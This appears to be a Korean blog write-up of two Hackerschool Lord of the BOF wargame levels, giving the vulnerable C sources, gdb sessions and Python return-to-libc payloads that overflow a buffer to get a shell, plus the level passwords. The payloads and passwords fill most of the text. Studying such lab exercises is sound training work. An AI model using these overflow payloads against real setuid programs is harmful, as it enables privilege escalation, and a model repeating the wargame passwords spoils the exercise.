M4ndU의 만두만두한 블로그

해커스쿨 LOB [bugbear -> giant] 풀이입니다.

ID | bugbear

PW | new attacker

으로 로그인합니다.

\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.

그리고

를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,

를 이용해 소스코드를 확인합시다.

login: bugbear

Password:

[bugbear@localhost bugbear]$ bash2

[bugbear@localhost bugbear]$ ls -l

total 20

-rwsr-sr-x    1 giant    giant       12933 Mar  9  2010 giant

-rw-r--r--    1 root     root          920 Mar 29  2010 giant.c

[bugbear@localhost bugbear]$ cat giant.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - giant

        - RTL2

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

main(int argc, char *argv[])

{

        char buffer[40];

        FILE *fp;

        char *lib_addr, *execve_offset, *execve_addr;

        char *ret;

        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }

        // gain address of execve

        fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");

        fgets(buffer, 255, fp);

        sscanf(buffer, "(%x)", &lib_addr);

        fclose(fp);

        fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");

        fgets(buffer, 255, fp);

        sscanf(buffer, "%x", &execve_offset);

        fclose(fp);

        execve_addr = lib_addr + (int)execve_offset;

        // end

        memcpy(&ret, &(argv[1][44]), 4);

        if(ret != execve_addr)

        {

                printf("You must use execve!\n");

                exit(0);

        }

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}

[bugbear@localhost bugbear]$ ./giant "`python -c 'print "D"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\xfc\xff\xff\xbf"'`"

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDH?

@?@?@廈@??

bash$ my-pass

euid = 514

one step closer

해커스쿨 LOB [darkknight -> bugbear] 풀이입니다.

ID | darkknight

PW | new attacker

으로 로그인합니다.

\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.

그리고

를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,

를 이용해 소스코드를 확인합시다.

login: darkknight

Password:

[darkknight@localhost darkknight]$ bash2

[darkknight@localhost darkknight]$ ls -l

total 16

-rwsr-sr-x    1 bugbear  bugbear     12043 Mar  8  2010 bugbear

-rw-r--r--    1 root     root          385 Mar 29  2010 bugbear.c

[darkknight@localhost darkknight]$ cat bugbear.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - bugbear

        - RTL1

*/

#include <stdio.h>

#include <stdlib.h>

main(int argc, char *argv[])

{

        char buffer[40];

        int i;

        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }

        if(argv[1][47] == '\xbf')

        {

                printf("stack betrayed you!!\n");

                exit(0);

        }

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}

[darkknight@localhost darkknight]$ mkdir tmp

[darkknight@localhost darkknight]$ cp bugbear tmp/

[darkknight@localhost darkknight]$ cd tmp/

[darkknight@localhost tmp]$ gdb bugbear -q

(gdb) b main

Breakpoint 1 at 0x8048436

(gdb) r

Starting program: /home/darkknight/tmp/bugbear

Breakpoint 1, 0x8048436 in main ()

(gdb) p system

$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

[darkknight@localhost tmp]$ ./bugbear `python -c 'print "D"*44+"\xe0\x8a\x05\x40"+"argc"+"argv"+"/bin/sh"'`

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD?@argcargv/bin/sh

Segmentation fault (core dumped)

[darkknight@localhost tmp]$ gdb -c core -q

Core was generated by `./bugbear DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD?@argcargv/bin/sh'.

Program terminated with signal 11, Segmentation fault.

#0  0x63677261 in ?? ()

(gdb) x/10s $esp

0xbffffac4:      "argv/bin/sh"

0xbffffad0:      "\002"

0xbffffad2:      ""

0xbffffad3:      ""

0xbffffad4:      "\200\203\004\b"

0xbffffad9:      ""

0xbffffada:      ""

0xbffffadb:      ""

0xbffffadc:      "?203\004\b0\204\004\b\002"

0xbffffae6:      ""

(gdb) x/s $esp+4

0xbffffac8:      "/bin/sh"

[darkknight@localhost darkknight]$ ./bugbear `python -c 'print "D"*44+"\xe0\x8a\x05\x40"+"argc"+"\xc8\xfa\xff\xbf"+"/bin/sh"'`

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD?@argc힐?bin/sh

bash$ my-pass

euid = 513

new divide